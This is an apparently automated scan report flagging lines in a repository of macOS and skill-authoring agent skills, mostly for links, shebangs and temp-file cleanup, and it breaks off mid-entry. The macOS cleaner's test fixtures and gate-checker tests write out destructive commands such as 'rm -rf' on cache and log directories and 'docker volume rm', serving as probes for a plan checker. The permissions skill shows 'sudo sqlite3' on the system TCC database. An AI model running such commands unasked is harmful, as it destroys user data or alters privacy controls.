    #!/usr/bin/env python3
  • Access to secretsline 50
    [Credential-related source omitted]
  • Network accessline 103
    if len(cfg['pointer_ref']) != 40 or any(c not in '0123456789abcdef' for c in cfg['pointer_ref']):             raise ValueError('LFS pointer_ref must be immutable SHA')         expected = 'version https://git-lfs.github.com/spec/v1\noid sha2
  • Network accessline 104
    raise ValueError('LFS pointer_ref must be immutable SHA')         expected = 'version https://git-lfs.github.com/spec/v1\noid sha256:'+oid+'\nsize '+str(cfg['size'])         if core.command(['git','-C',str(repo),'show',cfg['pointer_ref']+':
  • Network accessline 105
    expected = 'version https://git-lfs.github.com/spec/v1\noid sha256:'+oid+'\nsize '+str(cfg['size'])

daymade-macos/macos-cleaner/scripts/batch_budget.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-macos/macos-cleaner/scripts/check_gate_plan.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Dangerous shell operationline 348
    # `docker volume rm <name>` is the per-object form the reference itself
  • Dangerous shell operationline 364
    #   - anchored to a leading `mv` (so `git mv`, `sudo mv`, and an `mv` after
  • Dangerous shell operationline 995
    `rm -rf ...`" — is not a declaration that nothing runs: the negation covers
  • Dangerous shell operationline 1147
    [Credential-related source omitted]
  • Access to secretsline 1147
    [Credential-related source omitted]

daymade-macos/macos-cleaner/scripts/cleanup_report.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-macos/macos-cleaner/scripts/find_app_remnants.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-macos/macos-cleaner/scripts/safe_delete.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 38
    [Credential-related source omitted]
  • Access to secretsline 39
    [Credential-related source omitted]
  • Access to secretsline 41
    [Credential-related source omitted]
  • Access to secretsline 162
    [Credential-related source omitted]

daymade-macos/macos-cleaner/scripts/stream_accounting.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-macos/macos-cleaner/tests/fixtures/review-probes-r3/r3-01_plan.md

  • Dangerous shell operationline 5
    | `docker volume rm project-mysql-data` | `docker volume project-mysql-data` | 8.20 GiB |
  • Dangerous shell operationline 8
    - docker 27.3.1; semantics from `docker volume rm --help`.

daymade-macos/macos-cleaner/tests/fixtures/review-probes-r3/r3-03_plan.md

  • Dangerous shell operationline 5
    | `find ~/Library/Logs -name "*.log" -mtime +30 -delete` | `~/Library/Logs` | 3.40 GiB |

daymade-macos/macos-cleaner/tests/fixtures/review-probes-r3/r3-08_plan.md

  • Dangerous shell operationline 7
    [Credential-related source omitted]
  • Access to secretsline 7
    [Credential-related source omitted]

daymade-macos/macos-cleaner/tests/fixtures/review-probes-r3/r3-11_plan.md

  • Dangerous shell operationline 5
    | `rm -rf ~/Library/Logs/legacy-import.log` | `~/Library/Logs/legacy-import.log` | 0.5 GiB |
  • Dangerous shell operationline 8
    - rm 9.0; semantics from `man rm`.

daymade-macos/macos-cleaner/tests/fixtures/review-probes-r3/r3-11b_plan.md

  • Dangerous shell operationline 5
    | `rm -rf /private/var/log/legacy-import.log` | `/private/var/log/legacy-import.log` | 0.5 GiB |
  • Dangerous shell operationline 8
    - rm 9.0; semantics from `man rm`.

daymade-macos/macos-cleaner/tests/fixtures/review-probes-r3/r3-12_plan.md

  • Dangerous shell operationline 5
    | `rm -rf /private/var/log/legacy-import.log` | `/private/var/log/legacy-import.log` | 0.5 GiB |
  • Dangerous shell operationline 15
    - rm 9.0; semantics from `man rm`.

daymade-macos/macos-cleaner/tests/fixtures/review-probes-r4/r4-01_plan.md

  • Dangerous shell operationline 7
    | 1 | uv 缓存(`~/.cache/uv`) | `rm -rf ~/.cache/uv` | 42.0 GiB:目录清空即可回收 | 全部 Python 环境需重建依赖 | 重下/重建依赖 | `du -sk ~/.cache/uv` 归零 |
  • Dangerous shell operationline 15
    - rm(macOS 自带)。`/bin/rm --help` 语义来源:系统自带帮助。confirmed 版本 15.6.1。

daymade-macos/macos-cleaner/tests/fixtures/review-probes-r4/r4-03_plan.md

  • Dangerous shell operationline 7
    | 1 | pnpm 缓存(`~/Library/Caches/pnpm`) | `rm -rf ~/Library/Caches/pnpm` | 3.8 GiB | pnpm store 需重新装包 | 可重建 | `du -sk ~/Library/Caches/pnpm` 归零 |
  • Dangerous shell operationline 13
    - rm(macOS 自带)。语义来源:`/bin/rm --help`。confirmed 版本 15.6.1。

daymade-macos/macos-cleaner/tests/fixtures/review-probes-r4/r4-04_plan.md

  • Dangerous shell operationline 7
    | 1 | Hugging Face 缓存(`.cache/huggingface`) | `rm -rf ~/.cache/huggingface` | 28.0 GiB | 模型权重重下,可能离线不可得 | 重下(小时级) | `du -sk ~/.cache/huggingface` 归零 |
  • Dangerous shell operationline 13
    - rm(macOS 自带)。语义来源:`/bin/rm --help`。confirmed 版本 15.6.1。

daymade-macos/macos-cleaner/tests/fixtures/review-probes-r4/r4-05_plan.md

  • Dangerous shell operationline 7
    | 1 | Google 应用缓存(`~/Library/Caches/Google`) | `rm -rf ~/Library/Caches/Google` | 2.4 GiB | 应用重建缓存 | 可重建 | `du -sk ~/Library/Caches/Google` 归零 |
  • Dangerous shell operationline 11
    - rm(macOS 自带)。语义来源:`/bin/rm --help`。confirmed 版本 15.6.1。

daymade-macos/macos-cleaner/tests/fixtures/review-probes-r4/r4-07_plan.md

  • Dangerous shell operationline 7
    | 1 | FaceTime 缓存(`~/Library/Caches/FaceTime`) | `rm -rf ~/Library/Caches/FaceTime` | 1.2 GiB | 应用重建缓存 | 可重建 | `du -sk ~/Library/Caches/FaceTime` 归零 |
  • Dangerous shell operationline 13
    - rm(macOS 自带)。语义来源:`/bin/rm --help`。confirmed 版本 15.6.1。

daymade-macos/macos-cleaner/tests/fixtures/review-probes-r4/r4-09_plan.md

  • Dangerous shell operationline 8
    | 2 | 已卸载应用残留(`~/Library/Application Support/OldApp`) | `rm -rf ~/Library/Application\ Support/OldApp` | 9.0 GiB | 无 | n/a | 目录消失 |
  • Dangerous shell operationline 13
    - rm(macOS 自带)。语义来源:`/bin/rm --help`。confirmed 版本 15.6.1。

daymade-macos/macos-cleaner/tests/fixtures/review-probes-r4/r4-10_plan.md

  • Dangerous shell operationline 8
    | 2 | 已卸载应用残留(`~/Library/Application Support/OldApp`) | `rm -rf ~/Library/Application\ Support/OldApp` | 6.47 GiB | 无 | n/a | 目录消失 |
  • Dangerous shell operationline 13
    - rm(macOS 自带)。语义来源:`/bin/rm --help`。confirmed 版本 15.6.1。

daymade-macos/macos-cleaner/tests/fixtures/review-probes-r4/r4-11_plan.md

  • Dangerous shell operationline 5
    本轮不使用 `pip cache purge`,改用 `rm -rf ~/Library/Caches/pip` 直接清掉整个 wheel 缓存目录。
  • Dangerous shell operationline 9
    - rm(macOS 自带)。语义来源:`/bin/rm --help`。confirmed 版本 15.6.1。

daymade-macos/macos-cleaner/tests/fixtures/review-probes-r4/r4-11_table.md

  • Dangerous shell operationline 9
    「不使用 `pip cache purge`,改用 `rm -rf ~/Library/Caches/pip`」,

daymade-macos/macos-cleaner/tests/fixtures/review-probes-r4/r4-13_plan.md

  • Dangerous shell operationline 7
    | 1 | Spotify 缓存(`~/Library/Caches/Spotify`) | `rm -rf ~/Library/Caches/Spotify` | 5.1 GiB | 离线曲库重下 | 可重建 | `du -sk ~/Library/Caches/Spotify` 归零 |
  • Dangerous shell operationline 11
    - rm(macOS 自带)。语义来源:`/bin/rm --help`。confirmed 版本 15.6.1。

daymade-macos/macos-cleaner/tests/fixtures/review-probes-r4/r4-16_plan.md

  • Dangerous shell operationline 7
    | 1 | uv 缓存(`~/.cache/uv`) | `rm -rf ~/.cache/uv` | 42.0 GiB:目录清空即可回收 | 全部 Python 环境需重建依赖 | 重下/重建依赖 | `du -sk ~/.cache/uv` 归零 |
  • Dangerous shell operationline 15
    - rm(macOS 自带)。`/bin/rm --help` 语义来源:系统自带帮助。confirmed 版本 15.6.1。

daymade-macos/macos-cleaner/tests/fixtures/review-probes-r4/r4-16_table.md

  • Dangerous shell operationline 8
    本例是 r4-01ctl 那张表(uv cache 改标 PROPOSABLE、无任何证据、`rm -rf ~/.cache/uv`),

daymade-macos/macos-cleaner/tests/fixtures/review-probes-r4/r4-17_plan.md

  • Dangerous shell operationline 1
    # 探针 r4-17:rm 的版本+语义验证被 `confirm` 里的子串 `rm` 满足
  • Dangerous shell operationline 4
    `rm` 因此被任何含 rm 子串的英文词(confirm / format / from …)满足。
  • Dangerous shell operationline 5
    本例方案正文没有任何一行提到 rm —— 只有一句「已 confirm …」。
  • Dangerous shell operationline 13
    | 1 | 旧转储 | `rm -rf /private/tmp/olddump` | 12.0 GiB |

daymade-macos/macos-cleaner/tests/fixtures/review-probes-r4/r4-18_plan.md

  • Dangerous shell operationline 7
    | 1 | npm 缓存(`~/.npm`) | `rm -rf ~/.npm` | 17.7 GiB:目录清空即可回收 | 全部 npm 包需重下 | 重下/重建依赖 | `du -sk ~/.npm` 归零 |
  • Dangerous shell operationline 15
    - rm(macOS 自带)。`/bin/rm --help` 语义来源:系统自带帮助。confirmed 版本 15.6.1。

daymade-macos/macos-cleaner/tests/test_analyze_caches.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 255
    [Credential-related source omitted]

daymade-macos/macos-cleaner/tests/test_analyze_code_sign_clones.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-macos/macos-cleaner/tests/test_analyze_large_files.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-macos/macos-cleaner/tests/test_cleanup_report.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-macos/macos-cleaner/tests/test_cow_workflows.py

  • Executable scriptline 1
    Executable file

daymade-macos/macos-cleaner/tests/test_gate_checker.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Dangerous shell operationline 290
    'rm -rf /tmp/gone',
  • Dangerous shell operationline 304
    # "不使用 `pip cache purge`,改用 `rm -rf ...`" — the negation covers the
  • Dangerous shell operationline 307
    '本轮不使用 `pip cache purge`,改用 `rm -rf ~/Library/Caches/pip` 直接清掉。\n')
  • Dangerous shell operationline 308
    self.assertTrue(any('rm -rf' in command.text for command in commands))
  • Dangerous shell operationline 315
    self.assertIn('rm -rf', texts)
  • Dangerous shell operationline 475
    '`sudo mv /data/app /data/_quarantine-20261007/app`\n'))
  • Dangerous shell operationline 1233
    `docker volume rm <name>` is the per-object form cleanup_targets.md itself
  • Dangerous shell operationline 1234
    prescribes; yarn/conda clear whole caches; `find ... -delete` and
  • Dangerous shell operationline 1362
    [Credential-related source omitted]
  • Access to secretsline 1362
    [Credential-related source omitted]

daymade-macos/macos-cleaner/tests/test_safe_delete.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-macos/macos-load-doctor/SKILL.md

  • Network accessline 160
    [Apple's memory guide](https://support.apple.com/guide/activity-monitor/view-memory-usage-actmntr1004/mac)

daymade-macos/macos-load-doctor/references/incident-playbook.md

  • Network accessline 105
    - [Catalog-cache TTL](https://github.com/openai/codex/blob/83086188ae0614bd882818ff1aa23f3194962012/codex-rs/codex-mcp/src/tool_catalog_cache.rs#L33-L35)
  • Network accessline 106
    and [`published_at` age eligibility](https://github.com/openai/codex/blob/83086188ae0614bd882818ff1aa23f3194962012/codex-rs/codex-mcp/src/tool_catalog_cache.rs#L125-L135).
  • Network accessline 107
    - [`unloading_target` subscriber/activity predicates](https://github.com/openai/codex/blob/83086188ae0614bd882818ff1aa23f3194962012/codex-rs/app-server/src/request_processors/thread_lifecycle.rs#L59-L65).
  • Network accessline 108
    - [Session runtime shutdown](https://github.com/openai/codex/blob/83086188ae0614bd882818ff1aa23f3194962012/codex-rs/core/src/session/handlers.rs#L290-L337).
  • Network accessline 109
    - [Thread+server runtime status versus configuration discovery](https://github.com/openai/codex/blob/83086188ae0614bd882818ff1aa23f3194962012/codex-rs/app-server/src/request_processors/mcp_processor.rs#L400-L451).

daymade-macos/macos-load-doctor/scripts/load_census.sh

  • Executable scriptline 1
    #!/bin/bash
  • Dangerous shell operationline 17
    trap 'rm -f "$TMP"' EXIT

daymade-macos/macos-permissions/SKILL.md

  • Access to secretsline 4
    [Credential-related source omitted]
  • Access to secretsline 28
    [Credential-related source omitted]
  • Access to secretsline 30
    [Credential-related source omitted]
  • Dangerous shell operationline 70
    sudo -n sqlite3 '/Library/Application Support/com.apple.TCC/TCC.db' \

daymade-macos/macos-permissions/references/automated-full-disk-access.md

  • Network accessline 28
    Apple's [Privacy & Security guide](https://support.apple.com/en-mk/guide/mac-help/mchl211c911f/mac) describes Full Disk Access as a System Settings list: use Add, select the app, then Open. `open 'x-apple.systempreferences:com.apple.prefere

daymade-macos/macos-permissions/references/keychain-dialog-recovery.md

  • Access to secretsline 1
    [Credential-related source omitted]
  • Access to secretsline 3
    [Credential-related source omitted]
  • Access to secretsline 17
    [Credential-related source omitted]
  • Network accessline 28
    Explain the selected button only when needed: Apple documents one-time access, persistent access and denial as different choices in its [Keychain access guide](https://support.apple.com/guide/keychain-access/if-youre-asked-for-access-to-you
  • Network accessline 29
    one-time access, persistent access and denial as different choices in its [Keychain access guide](https://support.apple.com/guide/keychain-access/if-youre-asked-for-access-to-your-keychain-kyca1243/mac). Do not choose persistent access as a
  • Network accessline 30
    [Credential-related source omitted]
  • Access to secretsline 30
    [Credential-related source omitted]
  • Access to secretsline 55
    [Credential-related source omitted]
  • Access to secretsline 64
    [Credential-related source omitted]
  • Access to secretsline 67
    [Credential-related source omitted]
  • Access to secretsline 78
    [Credential-related source omitted]
  • Access to secretsline 103
    [Credential-related source omitted]
  • Access to secretsline 109
    [Credential-related source omitted]

daymade-macos/macos-permissions/references/tcc-mechanics.md

  • Dangerous shell operationline 149
    sudo -n sqlite3 '/Library/Application Support/com.apple.TCC/TCC.db' \

daymade-macos/macos-watchdog/SKILL.md

  • Network accessline 173
    Consult [uv's environment-use guidance](https://docs.astral.sh/uv/guides/integration/docker/#using-the-environment)
  • Network accessline 175
    [cache documentation](https://docs.astral.sh/uv/concepts/cache/) for `--no-cache`.
  • Dangerous shell operationline 184
    | Stop now, allow re-bootstrap later | `launchctl bootout gui/$(id -u)/<label>` (daemon: `sudo launchctl bootout system/<label>`) |

daymade-macos/macos-watchdog/assets/launchagent.template.plist

  • Network accessline 1
    <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
  • Network accessline 2
    <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">

daymade-macos/macos-watchdog/evals/iteration-1/eval-2-audit/fixture/broken-heal.sh

  • Executable scriptline 1
    #!/bin/bash
  • Network accessline 10
    if curl -fsS --max-time 5 https://www.googleapis.com/generate_204 >/dev/null 2>&1; then

daymade-macos/macos-watchdog/evals/iteration-1/eval-2-audit/fixture/broken-watchdog.plist

  • Network accessline 1
    <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
  • Network accessline 2
    <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">

daymade-macos/macos-watchdog/references/event-driven-observers.md

  • Network accessline 234
    Sources: `man launchd.plist` and `man launchctl` for key and command semantics; Apple's [Creating Launchd Jobs](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html)
  • Network accessline 235
    Apple's [Creating Launchd Jobs](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html)

daymade-macos/macos-watchdog/references/launchd-plist-reference.md

  • Dangerous shell operationline 130
    `sudo launchctl bootstrap system <plist>`.

daymade-macos/macos-watchdog/references/probe-cost.md

  • Network accessline 73
    Sources: Google's [monitoring guidance](https://sre.google/sre-book/monitoring-distributed-systems/)
  • Network accessline 74
    separates simple critical monitoring from long-horizon analysis; SQLite's [query planner](https://www.sqlite.org/queryplanner.html) explains indexed lookup and full scans. Use executed workload evidence to set the local budget.
  • Network accessline 75
    [query planner](https://www.sqlite.org/queryplanner.html) explains indexed lookup

daymade-macos/macos-watchdog/scripts/inspect_native_job.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-macos/macos-watchdog/scripts/new-launchagent.sh

  • Executable scriptline 1
    #!/bin/bash
  • Network accessline 97
    cat > "$tmp_plist" <<EOF <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
  • Network accessline 98
    <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
  • Network accessline 99
    <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
  • Dangerous shell operationline 120
    plutil -lint "$tmp_plist" >/dev/null || { echo "Generated plist failed plutil -lint" >&2; rm -f "$tmp_plist"; exit 1; }
  • Dangerous shell operationline 124
    sudo chown root:wheel "$tmp_plist"
  • Dangerous shell operationline 125
    sudo chmod 644 "$tmp_plist"

daymade-macos/macos-watchdog/scripts/watchdog-cooldown.sh

  • Executable scriptline 1
    #!/bin/bash
  • Dangerous shell operationline 55
    ''|*[!0-9]*) rm -f "$_WC_PAUSE_FILE"; return 1 ;;  # corrupt: treat as unpaused
  • Dangerous shell operationline 60
    rm -f "$_WC_PAUSE_FILE"                                # expired: auto-resume
  • Dangerous shell operationline 108
    rm -f "$_WC_PAUSE_FILE"
  • Dangerous shell operationline 123
    ''|*[!0-9]*) rm -f "$_WC_AUTOPAUSE_FILE"; return 1 ;;
  • Dangerous shell operationline 127
    rm -f "$_WC_AUTOPAUSE_FILE"                            # expired: retry one round
  • Dangerous shell operationline 193
    rm -f "$_WC_AUTOPAUSE_FILE"

daymade-macos/macos-watchdog/tests/test_inspect_native_job.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 228
    [Credential-related source omitted]
  • Access to secretsline 561
    [Credential-related source omitted]

daymade-skill/skill-creator/LICENSE.txt

  • Network accessline 2
    Apache License                            Version 2.0, January 2004                         http://www.apache.org/licenses/
  • Network accessline 4
    http://www.apache.org/licenses/
  • Network accessline 196
    http://www.apache.org/licenses/LICENSE-2.0

daymade-skill/skill-creator/SKILL.md

  • Network accessline 100
    [grounding these claims](references/authoring-and-reuse.md#ground-technical-and-methodological-claims). Verify landed claims against the actual target ref, not its commit message. Retrieve the current [official authoring practices](https://
  • Network accessline 101
    Verify landed claims against the actual target ref, not its commit message. Retrieve the current [official authoring practices](https://platform.claude.com/docs/en/agents-and-tools/agent-skills/best-practices) and read the applicable phases
  • Network accessline 102
    Retrieve the current [official authoring practices](https://platform.claude.com/docs/en/agents-and-tools/agent-skills/best-practices)

daymade-skill/skill-creator/assets/eval_review.html

  • Network accessline 5
    <meta name="viewport" content="width=device-width, initial-scale=1.0">   <title>Eval Set Review - __SKILL_NAME_PLACEHOLDER__</title>   <link rel="preconnect" href="https://fonts.googleapis.com">
  • Network accessline 6
    <title>Eval Set Review - __SKILL_NAME_PLACEHOLDER__</title>   <link rel="preconnect" href="https://fonts.googleapis.com">   <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
  • Network accessline 7
    <link rel="preconnect" href="https://fonts.googleapis.com">
  • Network accessline 8
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
  • Network accessline 9
    <link href="https://fonts.googleapis.com/css2?family=Poppins:wght@500;600&family=Lora:wght@400;500&display=swap" rel="stylesheet">

daymade-skill/skill-creator/assets/supersede-kit/setup_supersede_hook.sh.template

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Dangerous shell operationline 112
    [ -n "$hook_backup" ] && rm -f "$hook_backup"
  • Dangerous shell operationline 121
    rm -f "$HOOK_DEST"
  • Dangerous shell operationline 183
    rm -f "$HOOK_DEST"
  • Dangerous shell operationline 191
    [ -n "$hook_backup" ] && rm -f "$hook_backup"
  • Dangerous shell operationline 263
    if ! rm -f "$HOOK_DEST"; then

daymade-skill/skill-creator/assets/supersede-kit/supersede-routing-hook.sh.template

  • Executable scriptline 1
    #!/usr/bin/env bash

daymade-skill/skill-creator/eval-viewer/generate_review.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 463
    url = f"http://localhost:{port}"

daymade-skill/skill-creator/eval-viewer/viewer.html

  • Network accessline 5
    <meta name="viewport" content="width=device-width, initial-scale=1.0">   <title>Eval Review</title>   <link rel="preconnect" href="https://fonts.googleapis.com">
  • Network accessline 6
    <title>Eval Review</title>   <link rel="preconnect" href="https://fonts.googleapis.com">   <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
  • Network accessline 7
    <link rel="preconnect" href="https://fonts.googleapis.com">
  • Network accessline 8
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
  • Network accessline 9
    <link href="https://fonts.googleapis.com/css2?family=Poppins:wght@500;600&family=Lora:wght@400;500&display=swap" rel="stylesheet">
  • Network accessline 10
    <script src="https://cdn.sheetjs.com/xlsx-0.20.3/package/dist/xlsx.full.min.js" integrity="sha384-EnyY0/GSHQGSxSgMwaIPzSESbqoOLSexfnSMN2AP+39Ckmn92stwABZynq1JyzdT" crossorigin="anonymous"></script>
  • Network accessline 664
    if (!hasPrevious) {         try {           const resp = await fetch("/api/feedback");
  • Network accessline 665
    try {           const resp = await fetch("/api/feedback");           const data = await resp.json();
  • Network accessline 666
    const resp = await fetch("/api/feedback");
  • Network accessline 1021
    fetch("/api/feedback", {
  • Network accessline 1052
    }       const payload = JSON.stringify({ reviews, status: "complete" }, null, 2);       fetch("/api/feedback", {
  • Network accessline 1053
    const payload = JSON.stringify({ reviews, status: "complete" }, null, 2);       fetch("/api/feedback", {         method: "POST",
  • Network accessline 1054
    fetch("/api/feedback", {

daymade-skill/skill-creator/evals/fixtures/large_output_fixture.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-skill/skill-creator/references/authoring-and-reuse.md

  • Network accessline 243
    | 2 | **Local documents & SOPs** | User's private methodology, runbooks, existing skills | Search project directory, `~/.claude/CLAUDE.md`, `~/.claude/references/` | | 3 | **Installed plugins & MCPs** | Already-integrated tools | Check `~/.
  • Network accessline 244
    | 3 | **Installed plugins & MCPs** | Already-integrated tools | Check `~/.claude/plugins/`, parse `installed_plugins.json`; check `~/.claude.json` for configured MCP servers | | 4 | **skills.sh** | Community skills | `WebFetch https://skill
  • Network accessline 245
    | 4 | **skills.sh** | Community skills | `WebFetch https://skills.sh/?q=<keyword>` |
  • Network accessline 246
    | 5 | **Anthropic official plugins** | Official/partner plugins | `WebFetch https://github.com/anthropics/claude-plugins-official/tree/main/plugins` and `external_plugins` directory |
  • Network accessline 247
    | 6 | **MCP servers on GitHub** | Existing MCP servers for the same API | `WebSearch "<service-name> MCP server site:github.com"` | | 7 | **Official API docs** | The target service's own documentation | `WebSearch "<service-name> API docume
  • Network accessline 249
    | 8 | **npm / PyPI** | SDK or CLI packages | `npm search <keyword>` or `curl https://pypi.org/pypi/<name>/json` |
  • Network accessline 736
    Anthropic has written skill authoring best practices — retrieve it before you create or update any skills: https://platform.claude.com/docs/en/agents-and-tools/agent-skills/best-practices.md

daymade-skill/skill-creator/references/change-verification.md

  • Network accessline 198
    - **Use what mature checklist practice already settled.** Decide whether a list is **READ-DO** (execute while reading — for low-frequency or unfamiliar procedures) or **DO-CONFIRM** (work from expertise, then stop at a defined **pause point

daymade-skill/skill-creator/references/independent-review-protocol.md

  • Network accessline 11
    shares the exact blind spots that produced the defect. This is measured, not folklore: intrinsic self-correction without external feedback does not reliably improve output and sometimes degrades it ([Huang et al., ICLR 2024](https://arxiv.o
  • Network accessline 12
    intrinsic self-correction without external feedback does not reliably improve output and sometimes degrades it ([Huang et al., ICLR 2024](https://arxiv.org/abs/2310.01798)). The same model corrects the *identical* error readily when it arri
  • Network accessline 13
    sometimes degrades it ([Huang et al., ICLR 2024](https://arxiv.org/abs/2310.01798)). The
  • Network accessline 346
    **When the reviewed change ships in the public `claude-code-skills` repo, the archive carries one more receipt.** Its repository-owned [pre-push release gate](https://github.com/daymade/claude-code-skills/blob/main/scripts/ci/check_skill_re

daymade-skill/skill-creator/references/knowledge-skill-grounding.md

  • Network accessline 21
    操作规则: - **写端点/参数/字段名时,从 L1/L2 复制粘贴,不要手打**——转写就是错误注入点(单复数、下划线、家族前缀都是这么错的)。 - **OpenAPI 规范值得专门拉一次**:`curl <base>/openapi.json` 之类通常成本很低,拿到后可以对账文档里**每一个** method/路径/required 参数/枚举值。不要只抽查你记得最清楚的那一条。
  • Network accessline 22
    - **写端点/参数/字段名时,从 L1/L2 复制粘贴,不要手打**——转写就是错误注入点(单复数、下划线、家族前缀都是这么错的)。 - **OpenAPI 规范值得专门拉一次**:`curl <base>/openapi.json` 之类通常成本很低,拿到后可以对账文档里**每一个** method/路径/required 参数/枚举值。不要只抽查你记得最清楚的那一条。 - **同名概念跨域要逐个验证**:相邻平台/版本里的类似字段(如 `created_at` vs `
  • Network accessline 23
    - **OpenAPI 规范值得专门拉一次**:`curl <base>/openapi.json` 之类通常成本很低,拿到后可以对账文档里**每一个** method/路径/required 参数/枚举值。不要只抽查你记得最清楚的那一条。
  • Network accessline 130
    | 单引号包 JSON `-j '{...}'` | cmd/PowerShell 引号规则不同,JSON 被拆散 | CLI 支持 `-j @file.json` 从文件读,文档给 Windows 替代写法 | | 行尾 `\` 续行 | PowerShell/cmd 不认,整块复制变两条断命令 | 示例旁标注,或 Windows 版合成一行 | | shell 变量 `$VAR`(如 curl 示例) | PowerShell 展开为空串、cmd 原样字面传出→静默错误结
  • Network accessline 131
    | 行尾 `\` 续行 | PowerShell/cmd 不认,整块复制变两条断命令 | 示例旁标注,或 Windows 版合成一行 | | shell 变量 `$VAR`(如 curl 示例) | PowerShell 展开为空串、cmd 原样字面传出→静默错误结果(比语法报错更险) | curl 兜底段标注"仅 macOS/Linux" | | 双引号字符串里的 Windows 用户目录 | `\U` 被解释为 Unicode escape 并触发 SyntaxError
  • Network accessline 132
    | shell 变量 `$VAR`(如 curl 示例) | PowerShell 展开为空串、cmd 原样字面传出→静默错误结果(比语法报错更险) | curl 兜底段标注"仅 macOS/Linux" |

daymade-skill/skill-creator/references/materialization-budget.md

  • Access to secretsline 140
    [Credential-related source omitted]
  • Network accessline 266
    and conservative cleanup. No fixture loads the source repository's history or downloads dependencies/media. The subprocess lifecycle follows Python's [subprocess contract](https://docs.python.org/3/library/subprocess.html); Git input
  • Network accessline 267
    history or downloads dependencies/media. The subprocess lifecycle follows Python's [subprocess contract](https://docs.python.org/3/library/subprocess.html); Git input selection is explicit rather than the whole-tree default documented by
  • Network accessline 268
    [subprocess contract](https://docs.python.org/3/library/subprocess.html); Git input
  • Network accessline 270
    [git archive](https://git-scm.com/docs/git-archive).

daymade-skill/skill-creator/references/prerequisites.md

  • Network accessline 53
    # Linux wget https://github.com/gitleaks/gitleaks/releases/download/v8.21.2/gitleaks_8.21.2_linux_x64.tar.gz
  • Network accessline 54
    wget https://github.com/gitleaks/gitleaks/releases/download/v8.21.2/gitleaks_8.21.2_linux_x64.tar.gz
  • Dangerous shell operationline 55
    tar -xzf gitleaks_8.21.2_linux_x64.tar.gz && sudo mv gitleaks /usr/local/bin/
  • Network accessline 77
    If missing, the user needs to install Claude Code from https://claude.ai/claude-code.

daymade-skill/skill-creator/references/publishing-and-packaging.md

  • Network accessline 239
    the `marketplace-dev` skill, not here. When a task actually needs those decisions: resolve its current source/installed entry and read its applicable [cache/source guide](https://github.com/daymade/claude-code-skills/blob/main/daymade-claud
  • Network accessline 240
    resolve its current source/installed entry and read its applicable [cache/source guide](https://github.com/daymade/claude-code-skills/blob/main/daymade-claude-code/marketplace-dev/references/cache_and_source_patterns.md). Follow the current
  • Network accessline 241
    [cache/source guide](https://github.com/daymade/claude-code-skills/blob/main/daymade-claude-code/marketplace-dev/references/cache_and_source_patterns.md).
  • Network accessline 248
    back the usable result; do not re-ask an already authorized setup decision. For a missing install, resolve the current owning package through the [public catalog and installation guide](https://github.com/daymade/claude-code-skills/blob/mai
  • Network accessline 249
    For a missing install, resolve the current owning package through the [public catalog and installation guide](https://github.com/daymade/claude-code-skills/blob/main/README.md). Do not auto-install or override disabled policy without
  • Network accessline 250
    [public catalog and installation guide](https://github.com/daymade/claude-code-skills/blob/main/README.md).

daymade-skill/skill-creator/references/release-readiness.md

  • Network accessline 32
    Resolve the named remote's current main branch through GitHub Operations' [publication preflight](https://github.com/daymade/claude-code-skills/blob/main/github-ops/references/pr_operations.md#coordinate-publication-before-expensive-checks)
  • Network accessline 33
    [publication preflight](https://github.com/daymade/claude-code-skills/blob/main/github-ops/references/pr_operations.md#coordinate-publication-before-expensive-checks).
  • Network accessline 70
    The release executor first follows GitHub Operations' [fresh-base verification](https://github.com/daymade/claude-code-skills/blob/main/github-ops/references/pr_operations.md#fresh-base-verification).
  • Network accessline 71
    [fresh-base verification](https://github.com/daymade/claude-code-skills/blob/main/github-ops/references/pr_operations.md#fresh-base-verification).
  • Network accessline 79
    shared files can invalidate reuse even when the Skill directory is identical. Wait for checks and merge through GitHub Operations' [merge preflight](https://github.com/daymade/claude-code-skills/blob/main/github-ops/references/pr_operations
  • Network accessline 80
